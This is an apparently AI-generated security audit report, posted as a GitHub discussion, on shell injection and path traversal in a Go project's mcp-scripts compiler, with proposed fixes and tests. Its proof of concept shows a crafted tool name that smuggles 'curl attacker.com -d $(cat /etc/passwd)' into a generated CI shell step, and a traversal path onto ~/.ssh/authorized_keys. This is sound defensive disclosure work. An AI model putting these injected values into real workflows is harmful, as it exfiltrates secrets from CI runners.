[sergo] Sergo Report: MCP Scripts Shell Injection Audit - 2026-03-19

[github-actions[bot]]

Executive Summary

Today's analysis completed a deep audit of the mcp-scripts subsystem, combining a 50% extension of run 25's tool-name path traversal investigation with a 50% new exploration of how toolName propagates into the compiled GitHub Actions YAML output. The investigation uncovered a critical shell injection vulnerability in mcp_setup_generator.go where unvalidated YAML frontmatter tool names are embedded verbatim into shell cat > FILE << 'DELIM' commands inside compiled .lock.yml files, enabling arbitrary command execution on CI/CD runners. This compounds two previously-identified high severity findings (local path traversal and comment newline injection in mcp inspect) that remain unfixed from run 25. All three vulnerabilities share a single root cause: parseMCPScriptsMap() stores YAML map keys as toolName without any validation.

The codebase has a clear precedent for this kind of sanitization — compiler_safe_outputs_job.go:614 calls stringutil.NormalizeSafeOutputIdentifier() before constructing heredoc delimiters — but mcp_setup_generator.go omits this step entirely. Success score: 9/10.

---

🛠️ Serena Tools Update

Tools Snapshot

• Total Tools Available: 22 (stable)
• New Tools Since Last Run: None
• Removed Tools: None
• Modified Tools: None

Tool Capabilities Used Today

• find_symbol — retrieved function bodies from mcp_scripts_generator.go, mcp_scripts_parser.go, mcp_setup_generator.go, stringutil/sanitize.go, strings.go
• find_referencing_symbols — traced callers of generateMCPScriptsToolsConfig to discover mcp_setup_generator.go usage
• get_symbols_overview — scanned mcp_inspect_mcp_scripts_files.go and mcp_scripts_generator.go
• bash/grep — searched for normalization/sanitization calls, goroutine patterns, math/rand usage, and heredoc delimiter generation

---

📊 Strategy Selection

Cached Reuse Component (50%)

Previous Strategy Adapted: tempfile-pathtrav-plus-pr-cwd-revisit (run 25, score 8)

• Why Reused: Run 25 found mcp_inspect_mcp_scripts_files.go:94 path traversal and mcp_scripts_generator.go:188,245,262 newline injection — both still unfixed. Following the compile path of toolName into mcp_setup_generator.go was the natural next step.
• Modifications: Extended analysis from the local mcp inspect command to the compiler output — the generated .lock.yml GitHub Actions workflow. Read all six fmt.Fprintf call sites in generateMCPSetup.

New Exploration Component (50%)

Novel Approach: Tracing generateMCPScriptsToolsConfig's referencing symbols to discover (*Compiler).generateMCPSetup and auditing the shell command generation in compiled YAML output.

• Tools Employed: find_referencing_symbols (traced callers), bash sed (read mcp_setup_generator.go lines 335–440)
• Hypothesis: If tool names are unvalidated at the parser level, they must be unsafe wherever they appear — including in the compiled CI/CD YAML
• Target Areas: pkg/workflow/mcp_setup_generator.go, pkg/workflow/strings.go, pkg/stringutil/identifiers.go

Combined Strategy Rationale

The cached component confirmed the local attack surface; the new component discovered the far more severe CI/CD attack surface. Together they map the full injection chain from YAML frontmatter parsing → local file writing → compiled YAML output.

---

🔍 Analysis Execution

Codebase Context

• Total Go Files (non-test): 600
• Packages Analyzed: pkg/workflow (mcp_setup_generator, mcp_scripts_generator, mcp_scripts_parser, strings, compiler_safe_outputs_job), pkg/cli (mcp_inspect_mcp_scripts_files), pkg/stringutil
• Focus Areas: mcp-scripts subsystem compile and inspect paths

Findings Summary

• Total Issues Found: 3
• Critical: 1
• High: 1 (two sub-issues)
• Medium: 1

---

📋 Detailed Findings

Critical Issue — Shell Injection in Compiled GitHub Actions YAML

Location: pkg/workflow/mcp_setup_generator.go:377, 385, 391, 395, 401, 405

The generateMCPSetup method generates the Setup MCP Scripts Tool Files step in the compiled GitHub Actions workflow. For each mcp-scripts tool, it writes:

fmt.Fprintf(yaml, "          cat > \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/%s.cjs << '%s'\n", toolName, jsDelimiter)
fmt.Fprintf(yaml, "          cat > \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/%s.sh << '%s'\n", toolName, shDelimiter)
fmt.Fprintf(yaml, "          chmod +x \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/%s.sh\n", toolName)
fmt.Fprintf(yaml, "          cat > \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/%s.py << '%s'\n", toolName, pyDelimiter)
fmt.Fprintf(yaml, "          chmod +x \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/%s.py\n", toolName)
fmt.Fprintf(yaml, "          cat > \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/%s.go << '%s'\n", toolName, goDelimiter)

toolName is the raw YAML map key from the mcp-scripts: frontmatter section — no sanitization, no quoting, no validation. A tool name containing shell metacharacters produces a malicious compiled workflow:

# Frontmatter:
# mcp-scripts:
#   "evil; curl (attacker.com/redacted) -d $(cat /etc/passwd); echo x":
#     run: "echo hi"

# Compiled .lock.yml run: block contains:
cat > \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/evil; curl (attacker.com/redacted) -d $(cat /etc/passwd); echo x.sh << 'GH_AW_..._EOF'

When GitHub Actions executes this shell step, bash parses the ;-separated commands and executes them. Additionally, the heredoc delimiter is constructed as GH_AW_MCP_SCRIPTS_SH_ + strings.ToUpper(toolName) + _EOF — if toolName contains spaces, the delimiter becomes syntactically invalid (GH_AW_MCP_SCRIPTS_SH_EVIL TOOL_SH_EOF).

Contrast: compiler_safe_outputs_job.go:614 correctly calls stringutil.NormalizeSafeOutputIdentifier(scriptName) before generating its heredoc delimiter. mcp_setup_generator.go has no equivalent normalization.

Severity: CRITICAL — arbitrary command execution in GitHub Actions CI/CD runner via a crafted workflow frontmatter.

---

High Priority Issues — Local Path Traversal + Comment Code Injection (unfixed from run 25)

Locations:

• pkg/cli/mcp_inspect_mcp_scripts_files.go:94
• pkg/workflow/mcp_scripts_generator.go:188, 245, 262

Path Traversal (mcp inspect):

// Line 94 — toolName is the raw YAML map key, no filepath.Clean + prefix check
toolPath := filepath.Join(dir, toolName+extension)
// mode 0755 for .sh and .py

filepath.Join("/tmp/gh-aw-mcp-scripts-abc123", "../../.ssh/authorized_keys.sh") → /home/user/.ssh/authorized_keys.sh (0755 executable).

Newline Comment Injection (all three script generators):

// JavaScript (line 188)
sb.WriteString("// Auto-generated mcp-script tool: " + toolConfig.Name + "\n\n")
// Shell (line 245)
sb.WriteString("# Auto-generated mcp-script tool: " + toolConfig.Name + "\n")
// Python (line 262)
sb.WriteString("# Auto-generated mcp-script tool: " + toolConfig.Name + "\n")

A toolConfig.Name containing \n terminates the comment, and the content after the newline is interpreted as executable code. This affects all three script types. Note: formatMultiLineComment() correctly handles \n in Description by prefixing each line — but Name is embedded raw.

Severity: HIGH — local filesystem write outside temp dir (when running gh aw mcp inspect) and code injection in generated scripts.

View Medium Priority Issue — Inconsistent Tool Name Normalization

Location: pkg/workflow/mcp_setup_generator.go:376 vs pkg/workflow/compiler_safe_outputs_job.go:614

compiler_safe_outputs_job.go:614 normalizes script names before using them in heredoc delimiters and paths:

normalizedName := stringutil.NormalizeSafeOutputIdentifier(scriptName)
// ...
delimiter := GenerateHeredocDelimiter("SAFE_OUTPUT_SCRIPT_" + strings.ToUpper(normalizedName))

mcp_setup_generator.go:376 does NOT normalize:

jsDelimiter := GenerateHeredocDelimiter("MCP_SCRIPTS_JS_" + strings.ToUpper(toolName))
// toolName is raw, unsanitized

Even if NormalizeSafeOutputIdentifier (which only replaces - with _) were applied, it would be insufficient to prevent shell injection. The real fix is validation at parse time in parseMCPScriptsMap(). But the inconsistency highlights that mcp-scripts was added without porting the defensive patterns from the safer safe-outputs subsystem.

---

✅ Improvement Tasks Generated

Task 1: Add Tool Name Validation in parseMCPScriptsMap (CRITICAL)

Issue Type: Security — Shell Injection / Path Traversal

Problem: parseMCPScriptsMap in pkg/workflow/mcp_scripts_parser.go stores YAML map keys as toolName without any validation. These names flow into: (a) shell commands in compiled GitHub Actions YAML via mcp_setup_generator.go, (b) filepath.Join in mcp inspect via mcp_inspect_mcp_scripts_files.go:94, and (c) single-line comment strings in generated scripts via mcp_scripts_generator.go:188,245,262.

Location(s):

• pkg/workflow/mcp_scripts_parser.go:71 — for toolName, toolValue := range mcpScriptsMap (no validation)
• pkg/workflow/mcp_setup_generator.go:377,385,391,395,401,405 — six fmt.Fprintf calls embedding raw toolName
• pkg/cli/mcp_inspect_mcp_scripts_files.go:94 — filepath.Join(dir, toolName+extension)
• pkg/workflow/mcp_scripts_generator.go:188,245,262 — name embedded in comment without \n guard

Impact:

• Severity: CRITICAL
• Affected Files: 4 source files across 3 packages
• Risk: Arbitrary command execution in GitHub Actions CI/CD; local filesystem write-outside-temp on mcp inspect

Recommendation: Reject tool names that don't match ^[a-zA-Z][a-zA-Z0-9_-]{0,63}$ at parse time in parseMCPScriptsMap, returning a compiler error (not silent drop). This is a consistent approach with other field validation in the codebase.

Before (pkg/workflow/mcp_scripts_parser.go):

for toolName, toolValue := range mcpScriptsMap {
    if toolName == "mode" {
        continue
    }
    // ...
    toolConfig := &MCPScriptToolConfig{
        Name: toolName,

After:

var validToolName = regexp.MustCompile(`^[a-zA-Z][a-zA-Z0-9_-]{0,63}$`)

for toolName, toolValue := range mcpScriptsMap {
    if toolName == "mode" {
        continue
    }
    if !validToolName.MatchString(toolName) {
        return nil, false // or: return compiler error
    }
    // ...

Validation:

• Add test: tool name "evil; cmd" rejected at parse time
• Add test: tool name "../../etc/passwd" rejected at parse time
• Add test: tool name with embedded \n rejected at parse time
• Verify existing tests with valid tool names still pass
• Run go test ./pkg/workflow/...

Estimated Effort: Small

---

Task 2: Shell-Safe File Writing in mcp_setup_generator.go (CRITICAL — defense-in-depth)

Issue Type: Security — Shell Injection in Compiled YAML Output

Problem: Even after adding parse-time validation (Task 1), the YAML generation in mcp_setup_generator.go should defensively validate/sanitize tool names before embedding them in shell commands. Currently, toolName appears six times in unquoted shell contexts within cat > PATH << 'DELIM' heredocs.

Location(s):

• pkg/workflow/mcp_setup_generator.go:377,385,391,395,401,405

Impact:

• Severity: CRITICAL
• Affected Files: 1 source file
• Risk: Defense-in-depth against future regressions where validation is bypassed (e.g., imported tool configs)

Recommendation: Apply filepath.Base(stringutil.SanitizeForFilename(toolName)) or an equivalent sanitizer before using toolName in fmt.Fprintf calls that embed it in shell paths. Also assert the sanitized name matches the validated format.

Before:

jsDelimiter := GenerateHeredocDelimiter("MCP_SCRIPTS_JS_" + strings.ToUpper(toolName))
fmt.Fprintf(yaml, "          cat > \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/%s.cjs << '%s'\n", toolName, jsDelimiter)

After:

// Use shell-safe name (validated at parse time, sanitized here for defense-in-depth)
safeName := filepath.Base(toolName)  // strips any path traversal
jsDelimiter := GenerateHeredocDelimiter("MCP_SCRIPTS_JS_" + strings.ToUpper(safeName))
fmt.Fprintf(yaml, "          cat > \$\{RUNNER_TEMP}/gh-aw/mcp-scripts/%s.cjs << '%s'\n", safeName, jsDelimiter)

Validation:

• Compile a workflow with a tool named tool-one — verify output YAML unchanged
• Verify SanitizeForFilename or filepath.Base strips / and ..
• Run go test ./pkg/workflow/...

Estimated Effort: Small

---

Task 3: Guard toolConfig.Name Embedding in Script Comment Lines (HIGH)

Issue Type: Security — Newline Code Injection in Generated Scripts

Problem: In mcp_scripts_generator.go, toolConfig.Name (which equals toolName) is concatenated directly into single-line comment strings without newline sanitization. A name containing \n terminates the comment early, and everything after becomes executable code in the generated .sh, .py, or .cjs file.

Location(s):

• pkg/workflow/mcp_scripts_generator.go:188 — JS: "// Auto-generated mcp-script tool: " + toolConfig.Name + "\n\n"
• pkg/workflow/mcp_scripts_generator.go:245 — Shell: "# Auto-generated mcp-script tool: " + toolConfig.Name + "\n"
• pkg/workflow/mcp_scripts_generator.go:262 — Python: "# Auto-generated mcp-script tool: " + toolConfig.Name + "\n"

Impact:

• Severity: HIGH
• Affected Files: 1 source file
• Risk: Code injection in generated tool scripts; attacker-controlled code runs when the MCP server invokes tool handlers

Recommendation: Use strings.ReplaceAll(toolConfig.Name, "\n", " ") (inline newline removal) at the comment generation sites, or use formatMultiLineComment (already available in the same file) which handles this correctly.

Before (shell generator, line 245):

sb.WriteString("# Auto-generated mcp-script tool: " + toolConfig.Name + "\n")

After:

safeName := strings.ReplaceAll(toolConfig.Name, "\n", " ")
sb.WriteString("# Auto-generated mcp-script tool: " + safeName + "\n")

Validation:

• Add test: tool with Name containing \n generates a single comment line
• Verify generated shell/python/js scripts pass syntax check
• Run go test ./pkg/workflow/...

Estimated Effort: Small

---

📈 Success Metrics

This Run

• Findings Generated: 3 (1 Critical, 1 High compound, 1 Medium)
• Tasks Created: 3
• Files Analyzed: 7 source files, 3 packages
• Success Score: 9/10

Reasoning for Score

• Findings Quality: 4/4 — discovered a CRITICAL new shell injection vector not in previous runs
• Coverage: 2/3 — deep focus on one subsystem rather than broad scan
• Task Generation: 3/3 — three well-scoped, actionable tasks with before/after code

---

📊 Historical Context

Strategy Performance (last 5 runs)

Run	Date	Strategy	Score
22	2026-03-16	yaml-injection-revisit-plus-new-feature-validation-gap	8
23	2026-03-17	apm-token-lifecycle-revisit-plus-version-injection-audit	7
24	2026-03-17	yaml-step-generator-audit-plus-context-propagation-revisit	8
25	2026-03-18	tempfile-pathtrav-plus-pr-cwd-revisit	8
26	2026-03-19	mcp-scripts-shell-injection-plus-yaml-analysis	9

Cumulative Statistics

• Total Runs: 26
• Total Findings: 78
• Total Tasks Generated: 78
• Average Success Score: 8.00/10
• Most Successful Strategy: error-patterns-plus-field-registry-audit (score 9)

---

🎯 Recommendations

Immediate Actions

1. [CRITICAL] Add tool name validation regex in parseMCPScriptsMap — blocks all three injection vectors at the root
2. [CRITICAL] Add defense-in-depth sanitization in mcp_setup_generator.go before fmt.Fprintf heredoc generation
3. [HIGH] Sanitize toolConfig.Name newlines in generateMCPScriptShellToolScript, generateMCPScriptPythonToolScript, generateMCPScriptJavaScriptToolScript

Long-term Improvements

• Introduce a ValidateMCPScriptsConfig compiler validation pass (alongside existing validate*.go files) that runs tool name validation as part of the normal compilation pipeline, rather than inside the parser
• Audit all other frontmatter map keys that flow into shell commands or file paths — the pattern of using raw YAML map keys in generated code is risky wherever it appears
• Add fuzz tests for parseMCPScriptsMap (analogous to template_injection_validation_fuzz_test.go which already exists for expression injection)

---

🔄 Next Run Preview

Suggested Focus Areas

• Follow up on pr_command.go:629,660,691 os.Chdir without CWD restoration (unfixed since run 16, 10 runs)
• Audit getLatestWorkflowRunWithRetry context propagation (unfixed since run 9, 17 runs)
• Explore GetSupportedEngines/GetAllEngines non-deterministic map iteration (unfixed since run 2, 24 runs — near-record persistence)

Strategy Evolution

• Shell injection in YAML generation is a rich new finding class; a compiled-YAML injection sweep across all fmt.Fprintf(yaml, ...) calls that embed user-controlled strings could surface similar issues in other subsystems (MCP config, safe-outputs, codemod)

---

References:

• §23319384899

Generated by Sergo — The Serena Go Expert | Run ID: 23319384899 | Strategy: mcp-scripts-shell-injection-plus-yaml-analysis

AI generated by Sergo - Serena Go Expert · history

• expires on Mar 20, 2026, 10:25 PM UTC

[github-actions[bot]]

This discussion has been marked as outdated by Sergo - Serena Go Expert.

A newer discussion is available at Discussion #22033.